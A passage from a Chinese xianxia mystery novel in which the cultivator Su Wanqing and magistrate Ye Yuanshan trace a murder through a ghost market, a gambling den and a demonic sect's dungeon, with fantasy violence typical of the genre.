苏晚清瞧了瞧天色,想起与温衡的约定,诚恳地道谢,并道:“我今夜正好要去鬼城,叶大人若是信得过我,化骨散之事便由我来查。你查杨焕房中的姑娘。”
叶远山同意了她的提议。
临走之际,苏晚清送给他几道护身的灵符,可保妖邪不侵。
25. 鬼城里见人心
鬼城在盛京被称为鬼市,在这里不论是谁都能受到同等的对待,达官显贵或是下等平民皆一视同仁。
这里讲究一个缘字,缘来则聚,缘散则离。来这里的人大多都戴着面具,钱货两清,不问来人所属何地,要做何事。
苏晚清换了一身不怎么惹眼的装扮,扎着朴实的麻花辫,辫子上缠着几朵清雅的缠花,耳侧的两绺青丝微微散着,她提着一个竹编的篮子正从人群中挤了出来。
昏暗的街上有了微弱的灯光,温柔地映照在她的脸上,她看着地上被长长映出的影子,流动的人群不断与她错落,她的心间忽然生出了飘零之意。
“哎哟!”
一位看上去比较年长的大婶被人撞到在地,正倒在苏晚清的身旁,她被这声音吸引,倏忽地低眸一看,除了大婶,还有一个蓬头垢面的小孩,瘦弱的身躯,变得黢黑的脸,看上去不过总角年华。
她正迟疑要不要扶。
早年扶了个耄耋的老者,那时年少无知,反被讹去了一百两,思绪涌动如潮,顿了半刻,她还是伸出了手。
“没事吧?”
大婶毫不客气地拉着她的手,一把揪起小孩的脖领,用另外一只手拍打他的屁股,一边咒骂道:“没长眼是不是?你娘是谁?不赔我个一百两今日这事是没有说法的。”
“说不说?带我去你家,这事没完!”
站在一旁的苏晚清没有插嘴,静静地看着,那孩子被提到半空,腿不停地晃动,最后抓住机会,张口咬了大婶一口,趁松手的时候撒腿就跑,一溜烟儿就没了身影。
苏晚清拾起了比较友好无害的笑容,提着篮子快步离开了这个是非之地。
她通过多方打听才寻到了化骨散的线索,在鬼城尽头,有一个疯癫的老头贩卖,但出价很高,没给千两银子是绝对看不到一眼的。
现在正好是出摊的时辰。
杨焕的命竟那么值钱。
来此一遭花费了苏晚清不少钱,她也得到了一些消息,上个月有位姑娘向卖化骨散的老头购置过一些化骨散,说是家中有亲人离世,无钱购买棺材,想着用化骨散一了百了。
这个说法未免太过荒谬,明明有更好的方法可以选择却偏偏选择这个拙劣的理由,老头看穿了谎言,也不打算揭穿,抓了一把给那姑娘,拿了钱就离开,今日才敢冒头。
据老头描述,那位姑娘额间有道疤痕,身怀奇香,拿了东西慌慌张张地离开了鬼城。
她买了一些化骨散回去研究。
但愿能有些许发现。
这里距离如意楼不远,她收好东西准备赴会,却闻前方吵闹,孩童的哭泣声与人群混杂的声音纠缠,她在其间听到了叶远山的声音。
凑近一看,是刚才被吊打的孩子正跪在地上磕头,嘴里说着:“叶大人,您是好人,救救我母亲吧,求求您了。我求求您了,我母亲快要撑不下去了。”
叶远山有些为难,他来过两次,这次也做了伪装,竟也能被那些人认出来。此刻他是走也不是,留也不是。
“你母亲所患何病?”这孩子哭泪水稀里哗啦的,他没忍心将其赶走,就算使力扯落地的衣衫也终拗不过那孩子。
“天花。”孩童小声地趴在蹲下来的叶远山耳旁说道,可尽管是如此,还是被耳力好的人听了去。
此言一出,众人先是噤若寒蝉,一时间没缓过来,待明白了孩童口中说的话,脸上纷纷露出了恐惧的神色,随即一哄而散,说着要把染了天花的人拿去烧了。
“快快快,走走走。”
三人赶到那时,火光烛天般照得人睁不开眼,百姓站在被烧的屋前,满意地发出声声喜悦,打心里觉得麻烦不会蔓延,自己的安危有了着落。
苏晚清瞧了一眼哭得撕心裂肺的孩童,心里一念,施法灭了一些火后入了其中,炽热的气息从她的身体流过,如火灼烧般,连呼吸也变得有些急。
叶远山大声斥责这是草菅人命的罪事,但无人理会,一听他要抓人一溜烟就跑得无影无踪。
离去之前,苏晚清将所有人定在原处。
一边安慰哭泣的孩子。
半炷香后。
火焰逐渐熄灭,被里面爆发出的蓝色灵流吞噬,苏晚清踏月而出,将乾坤袋里的妇人放出,任其躺在地上。
不难看出,这个妇人的脸上泛起了许多的红点,虽与天花相似,但也不可妄加论断。她蹲下探脉,道:“叶大人,她这个并不是天花,只是普通的风疹。不过她在里面待了许久,吸入了太多的浓烟,加之身体有多处烧伤此刻只怕……回天乏术。”
“娘!你不要丢下我啊!”
叶远山也不愿看到这样的场景,鬼城的大夫出价过高,且来无影去无踪,现在再找怕是来不及了,他着急地道:“苏姑娘,你是修仙之人,也没有办法吗?有没有常备的灵丹妙药?赶紧救救他们。”
灵丹妙药……目前没有,乾坤袋里的丹药原本就没有多少,拿了一些给司马觉炼丹后就没有时间再炼制。
只有。
只有师尊赠她的那颗。
救,还是不救。
救,她此后每月必受苦楚;
不救,苦楚不再,又多一道心结。
妇女的手满目疮痍,已经没有一处是完好无损的,但她还是尽力扯开笑颜,轻轻抚着孩子的脸,眼里满是不舍,嘱咐孩子要好好活着,不要调皮……
苏晚清抬手,将凌霄赠予的那颗红色灵丹取出,缓缓推送至妇女的眉心间,它化作红色眉心痣,融于妇女的身体里,刹那之间,所有的伤痕随着灵丹的消散而消散。
妇女恢复如初,从此不受疾病缠绕,甚至力气也变得很大。
苏晚清看着那双紧紧攥着自己的手,只觉得自己的胳膊不保,连忙抽回,道:“好好活着,这就是对我最好的回报了。”
也好,救了一个人。
痛就痛了,这么多年都熬过来了,以后也不怕什么。
*
“苏姑娘,你竟还有如此灵药?可否告知我方子,我好去寻些方士炼丹,将来也好多多救治百姓。”
药方定是没有的,她也不知是何种灵药制成,师尊只说这是千年灵药,在发作之时服用能够缓解她的痛苦。
她如实地道:“我此处只有一颗,待我询问过师尊再告知大人。大人怎会来此?”
“我寻到线索,就想着告诉苏姑娘。”叶远山一说起调查调查出的结果,脸上的欣喜怎么也藏不住,“杨焕家中的女子原名添香,是如意楼的舞女,想着苏姑娘也在此,就先来了,现在纵火行凶的人,一个都逃不掉。”
他的话音刚落,远处就来了大批人,为首的男人佩刀而来,拱手向叶远山行礼,来的倒是时候,叶远山让其将这些闹事的百姓统统捉回去。
添香。
目送他们离开后,时辰将近,苏晚清先拜别,没走几步,叶远山就追了上来,问道:“苏姑娘,我与你一起。”
“如意楼不是常人能进,大人还是先回去等我消息为好。”
如意楼并不是普通的酒楼,最忌讳有官到此,叶远山的人已经惊动了许多术士,现在他也去,只怕会成为那些人的眼中刺。
“本官一切听从苏姑娘的指示,早就听闻鬼城如意楼藏污纳垢、客似云来,我也好去了解一二。”叶远山执意同去,她思考了会儿,终是答应了他的请求。
不过,她有言在先,先道:“大人若进去,定要沉得住气,遇事则跑,是不一定会顾得上大人。”
她对这里也很熟悉,如意楼并非外人想象那般繁华,更有甚者来此丢了性命,连尸骨也寻不得。
官府从不涉及这里的交易,一旦发现,他们就会转移到下一个地方,此处集结了江湖人士、修士、流离失所的老弱妇孺以及被驱除的罪犯。
叶远山一口答应了她的要求。
如意楼共有三层,一层内便是道为死生堂。千金散尽,换得一时欢乐。
等到真的进入里面之后,各种各样的人声交杂在一起,大多数都是男子喊注的声音,拥挤在一堂。
“大!大!大!大!”
“小!小!我说是小!押小!”
他们一踏入其中,就有老板前来迎接,笑意晏晏,心想又来活了。
“啊!我错了错了,马上就还,马上就还!我家里有妻子和儿子,他们,他们可以过来。”一道痛彻心扉的声音袭来,他们一同望去,只见一壮汉被很多人按倒在地,那悬在头顶的大刀有落下的趋势。
叶远山问道:“他怎么了?”
老板嗤了声,颇显无奈,指着被按在地上人骂道:“公子有所不知,此人入我赌坊不守规矩,欠了一千两想跑,我这就给他腿打折了。”说罢,就挽着袖子给了地上男人几脚。
“我让你欠钱不还!我告诉你,这下你娘子和儿子都得赔给我!”老板踩着壮汉的手,使力一压,又将脚捻了一下,直到壮汉妥协道:
“我答应你,我答应你。我娘子这会儿应该到了,路上应当是出了点意外。郑老板,你快松脚。痛死了。”
被称作郑老板的人闻言松脚,踩在其脸,轻哼道:“你还知道痛,怎么不痛死。我给你一炷香的时间。每过一个时辰,就剁你一根手指,直到人来。”
两人安静站在一旁看戏。
不到半炷香的时间,门外走来一对母子,还没有踏门就被逮了进去,押到壮汉的面前跪下。郑老板低头打量两人,觉得甚是不错,招来手下拿来契据。
丢在那对母
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子面前,两人不约而同转头,这不就是刚才所救的人吗?
“签了它,从此你们就是我如意死生堂的人了。不签,就把他给剁成肉泥喂狗!”说着,示意手下拿人,那对母子果然没辙,为保夫君,只能含泪按下契据。
关键之际,叶远山坐不住了,没等苏晚清回神,就冲去他们面前抢了契据回来,瞧了一眼上面的内容,辩驳道:“于理不合,于理不合。你要这位夫人做你禁脔,儿子做你打骂的工具,你分明就是落井下石!”
郑老板想抢回东西,奈何叶远山举得太高,够不到,只能作罢,但也毫不示弱,道:“落井下石,这姓朱屡教不改,欠钱不还,钱没了,房子也没了,唯一值钱的也就一个夫人和一个儿子了。不拿这个,拿什么?难不成公子你替他们出钱吗?”
“多少?本——我出。”叶远山瞧了一眼人群中的苏晚清,见她目光并未落在他的方向,再眨眼时苏晚清已经上了楼,没了踪影,他一咬牙便道。
郑老板也是见多识广的人,头一次遇上冤大头,这不得好好敲诈一番,掰出五根手指头,道:“一口价,五千两。”
看戏的众人哗然。
“好,就五千两。”叶远山答应。
见他答应得那么痛快,郑老板瞬间不乐意,又改了价,道:“不行,再加五千两,一万两。”
这下叶远山站不住了,这人哪能如此黑心,竟还讨价还价,他也不乐意,“说了五千两就是五千两。一手交人,一手交钱。”
“不行,一万两就一万两,拿不出来就滚,别在这瞎逞英雄,滚滚滚。”
说着就要赶叶远山出去。
“好,我出。”叶远山拿出一袋钱,里面有十片金叶子,他拿着钱迟迟不递过去,要先拿到契据才肯交钱。
哪成想老板拿了钱就翻脸不认人,招来了手下拦住了正欲离开的几人,百姓被这个阵仗吓住,纷纷逃窜。
“一看你就不是普通人,可是县令叶远山?听闻是个傻子,现在看来传言非虚。把他捆了,发出昭示,得让官府出三万两来赎回去,不然……我们就做一回好人,连人带棺一并送回去。”
郑老板抖了抖手中的钱袋,将他们尽数捆了起来,雪亮的刀轻轻拍在叶远山的脸上,划了又划,来来回回。
哪知叶远山张口吐了他一脸口水,他倏忽抬腿踢到了人,踩着叶远山的脚,用力按压,“不想活了吗你,老子现在就杀了你!”
郑老板的动作还没有落下,便被一道力量弹开,重重撞到了一旁的木桩上,倩影从上方落下,立于几人眼前。
叶远山一喜。
“你,你是谁?敢到老子的场子闹事,你知不知道这上头的人是谁?”郑老板一颠一颠地起来,指着苏晚清威胁道,话刚刚落下,他的手就被扳了下,女子不悦的声音响起:“我平生最不喜无礼之徒,给你五千两,不给就杀了你。”
“不给……给给给给!!”郑老板实在受不住疼痛,立即点头答应道,亲自将契据毁去,拿了五片金叶子就逃离了此地。
“谢谢姑娘。”妇人带着孩童一齐鞠躬,眼中满是感激涕零,反倒是从地上爬起来走得摇摇晃晃的壮汉搭在叶远山的肩上,一副与他们熟识的口吻,道:“娘子,你早说与他们认识,这样我们也不必大费周章,我也不用说出要拿你们抵债的话了……呃!啊!”
郑老板临走之际放了几个暗器过来,苏晚清只能先挡下那对妇女与叶远山的攻击,至于壮汉因躲避不及时,手指被扎了一针。
暗器有毒,且蔓延极快,唯有一法可行。
壮汉右手食指上面一节被利刃切下,迅速落在地上,鲜红的血顺着食指流了下来,渗到地面,整个楼皆是壮汉痛苦的声音,他指着苏晚清喊道:“你你你,你做什么?”
苏晚清走近他,顺手的刀利落地插在桌上,眼神如箭,似要刺穿这个无耻的男人,她顿了一下,道:“不切下来,你的性命难保。你虽年长,却不思进取,深陷泥潭,全然忘却了家中等候的妻儿,竟还将他们作你抵债的物什,若非念及他们尚需你持家,我定不会救你。”
“断你一指,是要你记住这个教训。来日再犯,不会有叶大人救你。”
叶远山连连安抚在旁的人,一道送他们出门,颤颤地不敢与她对视,寻不到要说的话,尴尬地道:“苏姑娘,本官还在,你就如此威胁百姓。”
“大人,我就是这样的人。拿了东西,大人便先回去吧。”
她收起东西,顺手丢给了叶远山,这是她刚才上楼查出的线索,一并装入乾坤袋,给了他。
上方响起一声箜篌音,忽有一箭直冲苏晚清而来,叶远山瞧她之时瞥见了它,他三步上前,想要替她挡去攻击,却反被苏晚清推开,徒手化去了此箭。
26. 你最好不要骗我
同样地,苏晚清幻化出一支灵箭袭了上去,扶起叶远山,确认其无事后谢道:“叶大人,多谢。”
她没想到叶远山会突然冲过来,持感恩之心,道着谢,便嘱咐他先行离开,她改日再到府上造访。
她的最后一语是:“我回头再将这次的花销归还官府。”
叶远山凝眸,拍了拍身上的灰尘,早在刚才他就看到了苏晚清偷偷将钱塞进了妇人的口袋里,他温和地道:“苏姑娘,你比你想象的还要心软。你不用与我客气,就当是我做善事,此为我之钱财,并非官府公款。”
苏晚清顿了一刻,也不反驳他。
约莫过了三息,两人才分道扬镳,各行其事。
楼上的身影动了动,像是没了耐心般,吩咐身后之人去提醒底下的女子,一丝不悦自他眼眸流露而出。
“暗箭伤人,果然是你的手笔。”
脚步声渐渐靠近,温衡这才收回俯瞰的目光,转至姗姗来迟的女子身上,他道:“先是司马觉,再是燕寒舟,现在又是叶远山。苏晚清,你真是好手段。”
“你嫉妒我?我这个人,就喜欢与人善交。”苏晚清早在刚才就发现了他,刚想与叶远山告别,温衡就派人来请她过去。
温衡像是听到了什么好笑的笑话一般,凝眉嗤了声,道:“苏晚清,你太自作多情。”
她浅笑着,并未将他的话听进心中。眼下距离戌时还有一个时辰,当是酉时。她走近了些温衡,问道:“你来此多久了?又或者,你偷窥我多久了?”
“从一开始,我就能看到你。你做的所有事,我都知道。”这一点,温衡毫不掩饰,这里几乎都有他的眼线,盯着一个苏晚清,不在话下。
苏晚清:“……”
“苏晚清,你怎么这么蠢?”她做的事他都能看到,比如救火海中的妇人,将灵药赠人,以及刚才死生堂做的一系列事情。
他真的不明白,这个女子口口声声要复仇,为何要救这些不相干的人?浪费时间,也浪费修为。
苏晚清笑了一下,道:“你若是真的聪明,就不会答应我的要求让我随你入天魔宗。温衡,在我看来,你也并非是个讨厌的人。”
“苏晚清,你的话倒是中听。”温衡眸色一暗,目光渐渐落在她腰间的玉佩,忍不住道,“就是记性差了点。”
苏晚清将他的话抛在脑后,想了一个呛他的话,立即道:“再如何也比不上温公子。你这么喜欢我的玉佩吗?”
“当真是你的?别人之物你倒是日日带在身上,喜欢得不行。你现在就随我走。”温衡不想再与她废话,直接点开眼前的传送之门,漩涡四起,掩藏风的呼啸。
她停在原地,似在考量。
温衡以为她是害怕,道:“若是不敢,趁早离开。我奉劝一句,到了天魔宗,你的生死可不归我管。”
看来她也有胆怯,他的神色传出几分轻蔑,正欲关闭,抬起的手臂反被她压下,女子清冷的声音响起:“不用你管。我想起一件事。”
“叶远山?”
温衡的视线在她的手上滞留了半刻,关闭了传送,同时他的语气忽多了一分轻佻。
“不是,我的东西呢?”
苏晚清伸出手接,示意他归还瑶光镜。
“你不会自己召唤?麻烦。”温衡觉得她当真麻烦,拿出丢在她的手上。
她接过后,将其隐去,走近了他几步,又自顾向前,飘逸的青丝轻轻一甩就落在了他的胸膛,随之而来的是女子身上那股淡淡的桃花香气,她悦耳的声音也落于他的耳中:“不能,我就是要温公子亲自奉上,这样才显得有诚意。”
从山阳抵达天魔宗花去的时间不过一炷香,他们此刻站在天魔宗的左殿,也就是温衡居所,阴暗潮湿,流水倾泻在院中的假山石,压抑又沉闷。
温衡挥手点燃所有灯光,这才有了一点家的感觉,他大步向前走,取出一样图纸,递给苏晚清。
“给我天魔宗的地形图?你难不成是仙盟派来的卧底?”
苏晚清不敢想象身前之人是温衡,这个人心思变幻莫测,难保他不会在这上面暗害于她,还是先不接了,因此她推了回去。
他的嘴角咧着有些渗人的笑,声音更是阴沉阴冷,那双好看的眼睛带着些许阴鸷,语调藏着些许玩味与期待:“要是你能毁了天魔宗最好,替我杀了谢怀案,宗主之位就是我的。他要是真的死你手上,我还得谢谢你。”
“你尽做些不切合实际的梦。”
“我送出去的东西从来都没有拿回来的道理。”他这次不给苏晚清拒绝的机会,动用灵力将地戏强制塞入她的衣袖之中,口吻有不容置喙的意思,“苏晚清,别急着死,我们来日方长。”
说罢,他将所有的门关上,不再理会外面的苏晚清,整个殿堂再次陷入黑暗,若地狱般寂静,时不时地发出几阵惨叫声,回荡在这空灵的居所。
这个男子,令人捉摸不透。
其实她早有准备,备好了天魔宗的方位图,不过较温衡这副来看,他给的确实要详细很多,但她只是匆匆看了一眼,便焚烧殆尽。
她不喜欢欠人情。
按照她绘制的图纸,她绕开看守的弟子,来至天魔宗的地牢,躲在暗处等待一个时机。
天魔宗每过一个时辰便要换一轮弟子,正巧此时是换班的好机会,她混入前来换班的弟子,一同进入了地牢。
“好好守,要是把人看丢了,就是死路一条。”为首的是个头发花白的中年男子,说话的声音温如细语,大概是与宫里待过的公公学过一招半式,竟如此相像。
深夜是人困意最盛的时候,纵使是修行者亦如是,苏晚清假意有些困地靠在阴冷的石壁,刚有动作就闻来一声训斥:“干什么干什么?让你偷懒了啊?好好站着!”
苏晚清立即笔直地站好,抑扬顿挫地道:“是。小的明白!”实则早已在心中睥睨了那人好几眼。
可那人仿佛是寻不到乐子,又或者是将她当成了幌子,领着她就要去受罚。
一个巴掌轻扬地落下,未等他们回神,就已被苏晚清撂倒在地,她手中的迷药被她吹散,他们没个两炷香是醒不过来的。
地牢从门外到里面设置了重重关卡,飞刀从四面而来,地面尖锐的剑刃拔地而起,天罗地网铺天盖地,皆被她尽数毁去,她径直抵达地牢关押犯人的地方。
一共有五个被锁住的弟子,两位女子和三位男子。
她一眼看到要寻找的女子,飞跃至其面前,在其身上解开穴道,尽量言简意赅地问道:“你可是如烟姑娘?钟有思托我救你,若是便请点头。”
女子似要开口,但发觉喉咙无法出声,也听不到任何声音,只能看着苏晚清的口型,理解后重重点了三次头。
她有诸多乾坤袋,此刻派上了用场。
“委屈姑娘要在我乾坤袋待上一会儿了。”事不宜迟,她将那位姑娘收进了她的乾坤袋里,立即离开了此处,踏出地牢之时,无人阻拦,事情进行得太过顺利,她不由得起了疑心。
果不其然,在途径天魔宗正堂时,一群弟子从四方围了起来,柳宿眠从中缓缓走来,那张妖冶的脸上尽是得意,势必要让苏晚清有来无回。
看守地牢的弟子急色匆匆跑来禀告,柳宿眠大致也知道了她的目的,嗤笑道:“苏晚清,天堂有路你不走,偏偏要独闯我天魔宗,救这么一个叛徒,是钟有思那个缩头乌龟不敢出来,就让你来送死。”
苏晚清召出灵剑,不想废话。
可没等她出手,天魔宗宗主谢怀案的声音就从大殿里传了出来,一阵黑色漩涡将她卷去了殿里。
“苏晚清,好胆色。”谢怀案坐在高位,俯视着她,伸手欲夺她腰间的乾坤袋,被她识破,挡了回去,道,“如烟是我天魔宗弟子,你将她掳走,是已做了要与我天魔宗为敌的准备了吗?”
她收了剑,作揖道:“宗主深明大义,定不会与我等小辈计较,晚辈此来其实不只是挑衅宗主,是想与宗主做个交易。”
谢怀案有了点兴趣,问:“说。倘若这个交易我不满意,万蛇窟的蛇饿了很久,你就是它们的果腹之物。”威胁的话落在她的耳畔,似轻雨撒过,无关痛痒。
她十分认真地道:“有前辈在,晚辈不敢造次。”除了救人,她还有另外的目的。
“前辈一直都想胜过凌霄掌门,但所行一直无果,是因修炼诡术所致,若能得一宝物将诡术与仙术融为一处,胜我师尊,自然容
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易。”
苏晚清微微抬头,直视着谢怀案的眼睛,并无一丝畏惧,更多了一分底气与从容。
谢怀案继续道:“什么宝物?”这个答案,他隐隐知晓,据温衡回来的禀告与他的试探完全一致。
“释天诀。”
她一字一顿地说道。
很多人都想要这个宝物,它能将仙魔蕴含的灵力融合,更有甚者修炼到一定的境界能够摄取他人全部修为,化为己用。
谢怀案并不意外,道:“难道你有?给了我,你又能得到什么?”
“早年被人追杀,我觉它是祸害,就联合苍山派的墨掌门毁了它。”她摇头,又道,“我想要的不多,前辈让我带走如烟姑娘即可。”
谢怀案觉得自己被人耍了,当即就要将她捆起来丢到万蛇窟,她转而又道:
“前辈不必心急,我还有法子。早在毁之前,我便全部记下了它,只要前辈不杀我,放我离去,再备上笔墨纸砚,我定全部写下交予前辈。”
怕人有疑,苏晚清补充道:“前辈不必怀疑,我听闻贵派少主三年前亦有缘见过此卷,请他过目,便知真假。”
说到此处,她的思绪不由得回到了三年前,那时的她刚刚脱离追杀,刚至苍山派时温衡便在山门之前拦下了她,想夺她之物。
正好苍山派掌门也在场,她心生一计,将释天诀残卷都抛到空中,任凭那两人抢夺,后面他们各自拿了一半,才看了一眼残卷便自动燃烧,立即化作灰烬湮灭。
此后,极少人寻她麻烦,但有心之人依旧怀疑真正的释天诀并没有被毁,而是还藏在苏晚清的身上。
谢怀案答应她的要求。
可迟来的柳宿眠却心有余悸,觉得她心怀不轨想,执意谏言立即诛杀苏晚清,反被谢怀案的眼神吓得不敢再开口。
她写得很快,拿着宣纸两侧展示,上面的字清秀有力,看着十分舒爽。谢怀案召来温衡,让他辨认是否为真。
“是。”
温衡笑容促狭,眼睛直勾勾地盯着她,一步一步向她走来,拿起她手中的纸一阅,蹙了眉,让人以为是内容有误,顷刻后表情凝重地道:“回宗主,是真的。”
还未交给谢怀案,苏晚清施法夺了过来,瞧着谢怀案道:“前辈,这下我能否带着如烟姑娘离开了?”
柳宿眠立即道:“宗主,不可,此刻不取苏晚清性命,来日必生变故。宗主,还请三思啊。”
“左护法的提议,我也觉得可行。”温衡朝苏晚清挑了挑眉,那不经意间落下的笑容仿佛是对她的挑衅,他拱手对谢怀案道。
谢怀案是个很自大的人,喜欢反其道而行之,宗门里两个得力的下属竟对一个小小女子如此忌惮,真是无比废物。
谢怀案抬手示意所有手下都退下,迈步至苏晚清面前,威胁道:“苏晚清,我放你一条生路,如烟这个叛徒也送你了。你若是敢骗我,就做好供万蛇食尽、尸骨无存的准备。”
“晚辈不敢。天魔宗的厉害我已见识到,不敢逾越。”身在他人屋檐,不得不低头,她顺着他们的话道。
谢怀案没在意退到角落一旁的温衡,看了眼苏晚清,觉得这个女子还有点用,实力不在温衡之下,甚至在上。若是化为己用,岂不事半功倍?
于是谢怀案抛了一个橄榄枝,道:“明峰是我的大弟子,如今已经为我牺牲,天魔宗缺了一位右护法,清风明月现在已经容不下你,你可愿入我门下?”
“虽知晚辈此言会得罪前辈,但我还是不想欺瞒前辈,我现在就想安稳度日,不理凡尘。”她说得十分认真,看起来不像是假话,但实则无疑。
最终过了半个时辰,她终于离山,将如烟带到汇合之地,那位男子也赶来相见,她看着紧紧抱着的二人,不禁一阵尴尬。
“我要的消息,带来了吗?”苏晚清还是选择出言打破了二人的重逢之喜。
男子将搜罗到的所有信息交给苏晚清,便带着如烟远远离去,听其言,说是要去北海藏起来,让所有人寻不到他们的踪迹。
她拿了东西,便打算回去。
御剑抵达山阳时,刚至清水居门前便传来噩耗——叶远山中毒了,她还未坐下喝水,便又前去官府一探究竟。
27. 虚妄村(1)
据叶远山府上的管家所说,叶远山是从鬼城回来之后就开始昏迷不醒了,请了很多的大夫都查不出病因,叶老夫人怀疑是中了妖邪之术,这才派人去清水居请她。
叶老夫人年迈,经不起折腾,已经先歇下了。
早年与师尊习过探脉的手法,也懂些岐黄之术,她的手搭在男子的手腕上,叶远山的脉象极其紊乱,但并探不出中了何毒。
她想到了另外的法子,点在叶远山的百会穴与风池穴,瑶光镜应召而出,照在他的身上。良久,一丝黑气从叶远山的体内散出,她借机捉住它,以瑶光镜之力毁去。
接着,她又为叶远山输送灵力,保他清醒,在半个时辰后男子终是睁开了双眼,一抬眼便看到了苏晚清的脸,她的额间冒着汗,灵气不断向他涌来,周身的一切变得格外清晰。
“想必叶大人是在鬼城中了江湖术士的招魂术,怨鬼已除,大人是否未将我给你的灵符带在身上?”按理说,有她的灵符傍身是不会被妖邪入侵,她有些百思不得其解,便询问道。
叶远山此时还有一些虚弱,嘴唇泛着白,虚弱地答:“我来得匆忙,忘了此事。多谢了,苏姑娘。”他还想起来拱手相谢,可没站稳几步就要倒下去,身后的侍女赶紧过去搀扶到床上靠着。
她嘱咐他安心修养即可,但叶远山不肯,他休息了一个时辰后就去了书房查看苏晚清给的信息。
窗外的风呼啸而来,案上摆好的纸张一经它吹,便卷到了地上,遮蔽了苍穹的夜,再现时,已是如意楼。
若说鬼城如意楼一楼为死生堂,二楼则唤醉梦堂,醉梦一场,那里有许多年轻貌美的女子,只须在入门之前交付定金,挑好姑娘再付那姑娘指定出的银两,就能与其共赴巫山云雨两日。
苏晚清去时先是被赶了下来,说是女子来凑什么数,直到她拿出钱,那守门的老鸨立马变了脸色,道:“哎哟,姑娘也有姑娘的玩法,我这就为贵客选几位可人的姑娘。”
“不,我要添香。”
她言一出,老鸨脸色骤变,像被雷击一般,顿时惊色在其脸上晕染而来,立即道:“贵客,你说笑呢。添香……在几年前就已经死了。”
死了?这么巧。
“怎么死的?”
老鸨欲言又止,苏晚清见状拿出一锭银子在其面前晃悠。老鸨觉得这银子十分诱人,不拿白不拿,惊慌立刻抛之脑后了,道:
“说来真是晦气,添香长得那叫一个国色天香,偏偏看上了一个穷小子,为了他连我都不要了。跟老身我恩断义绝,拿了我的钱与穷小子私奔了,姑娘你评评理,我好心断了他们的来往,添香就是这么报答我的?亏我一直不让她接客,早知如此,何必当初啊。”
不知为何,她想起了曾经看过的话本。
话本里面故事呈现出来,青楼女与世家女皆爱满腹经纶却空无一物的穷小子,是爱才不爱财,还是被规矩束缚得难以解脱,才想知心人相守?
她跟着老鸨来到添香的房间,里面堆满了杂物,积累的灰尘比墙还厚,除了那件挂在床头的纱裙焕然一新,像是刚刚放置一般,无岁月累积的痕迹。
苏晚清取下那件纱裙,放在鼻间嗅了嗅,与她在杨焕家中捡起的衣裙味道一致,她问道:“她到了何处?如何死的?她与杨焕又是什么关系?”
一连三个问题,老鸨有些懵懂,原本看到挂在床头的纱裙心里是一阵后怕,但苏晚清的问题暂时将其拉回现实,老鸨顿了顿道:“听说是到了一个村,不知道怎么死的。只知道后来那个穷小子又到我们这里找了新的姑娘,可是后来,凡是与穷小子一起的姑娘都离奇死亡,连官府都查不出是什么原因,以致如今都是桩悬案。对了,添香和杨焕是老相好,那几年杨焕娶了妻,就断了往来。”
“杨焕可经常来此?”苏晚清将衣服重新放在原处,它并没有什么很大的问题,普通的衣物而已。
老鸨点头,道出了一个重要的线索:“来,他妻子在世也来,经常让我这里的姑娘穿上添香的旧物与他欢好,这不上次就领了一个回去。结果自己玩死了,真是晦气。”
说着,老鸨叫来那夜的女子前来对质,与她当日的情形一致。她敲门时打断了两人,女子担心被人看到便衣衫不整地离开了杨焕家中。
苏晚清指着那件衣服,问道:“是这件衣服吗?”
那女子视线落在衣服之时,脑海猛地涌现出许多画面,心脏猛地一紧,好似被什么东西扼住一般,惊恐万状,双腿也不禁开始颤抖,惊慌失措地地道:“是……可那时这件衣服已经被杨焕撕碎了,怎么,怎么会完好无损地出现在这里?是不是,是不是添香的鬼魂回来复仇了?!”
话音刚落,女子的脸上就多了一个巴掌印,老鸨凶狠的眼神死死钉住,面对苏晚清时又是一副谄媚讨好的神情,边骂边推女子离开。
苏晚清见状留下了女子,请了出去,她看着女子道:“你说添香来向你们寻仇,为什么?”
女子支支吾吾不肯说,她费了会儿功夫才知晓,原来添香嫁人之后曾经回来过,却被这里的老鸨卖给了杨焕,兜兜转转又跟着当初私奔的穷小子回了村,至此便没了消息,再有时已是添香的死讯,连带着那座村子也在一夜之间消失得无影无踪。
听来匪夷所思,说来她也曾听过这个传闻,这个村子名为虚妄,明明是普通的山村,偏要叫如此梦幻的名字。
一个已死的姑娘忽然杀人,只有两种可能,一是怨念太深,执着成鬼,附身在人的身上复仇;另外一种就是装神弄鬼,有人想要杀了杨焕,借用死人的身份,既可以让他们产生恐惧,又不轻易查出。
鬼神之说,不可不信。既有妖,则有人之魂魄,就怕是有心之人利用此事大做文章,借机生事。
苏晚清忽然想起了什么,急匆匆地回了趟鬼城,寻到了自己想要的线索便赶了回来与叶远山商榷。
这几日叶远山身体颇有好转,不忘四处走访调查,终是查出来些眉目。
据调查可知,添香在亡故一年后,与她亲密的家人一一失踪,最后是疯的疯死的死,到了今日已无亲戚存活于世。
这若说不是有意为之,怎会如此巧合。叶远山翻看当年的卷宗,一无所获,官府给的答案是其家人伤心过度,失了心神,良药无医,而后尽数死绝,非是他杀。
叶远山当即召来如意楼相干人等前来公堂对质,询问一番下来能对得上的便是添香死后一年里如意楼夜夜传来女子的哼唱声,都说是鬼魂回来了,闹得她们足足三月不敢夜出,后来是来了一个游方的道士驱除了邪祟才风平浪静了一阵。
再听杨焕邻里的口供——其实在杨焕未成家之前他与虚妄村的朱文聪也就是添香的夫君相交甚好,他们每月都得聚聚,直到朱文聪成亲也没有改变这个惯例。
一月之前,杨焕买了酒前去祭拜朱文聪,后来神色恍惚回了家,自此以后明日都去如意楼找快活或者是寻舞女回家中逍遥。
朱文聪的墓埋在虚妄村里,连着一起消失了,杨焕给他做了一个衣冠冢,当做坟墓祭拜。
别的不说,杨焕这点叶远山很是赞同。
跟在老鸨身前的女子迟疑了半晌,抬头看了叶远山几眼又迅速低头缄默不言,眼里有几分不甘,张了张口,欲言又止。
苏晚清立即捕捉到这个异样,将其请到了叶远山的面前,随后叶远山遣退所有人,独留女子。
“无妨,苏姑娘不是外人。姑娘请说。”叶远山从座位上下来,走到她们跟前,温和地道。
这个女子便是苏晚清在如意楼盘问的那位,且唤她小蝶。小蝶深深吸了一口气,仿佛面前等待着她的是深渊般,她道:“大人,添香她没死,我前些日子还看到她了。”
“她她威胁我,她让我引起杨焕的注意并与他回家。”小蝶的话听来匪夷所思,但叶远山没有打断其的意思,而是微微点头,示意其继续说下去。
“她她她,让我喝了这个东西。”
小蝶从怀里拿出一小块东西,颜色呈褐色,与珍珠般的大小,放在特制的透明袋里灿灿发光若繁星。
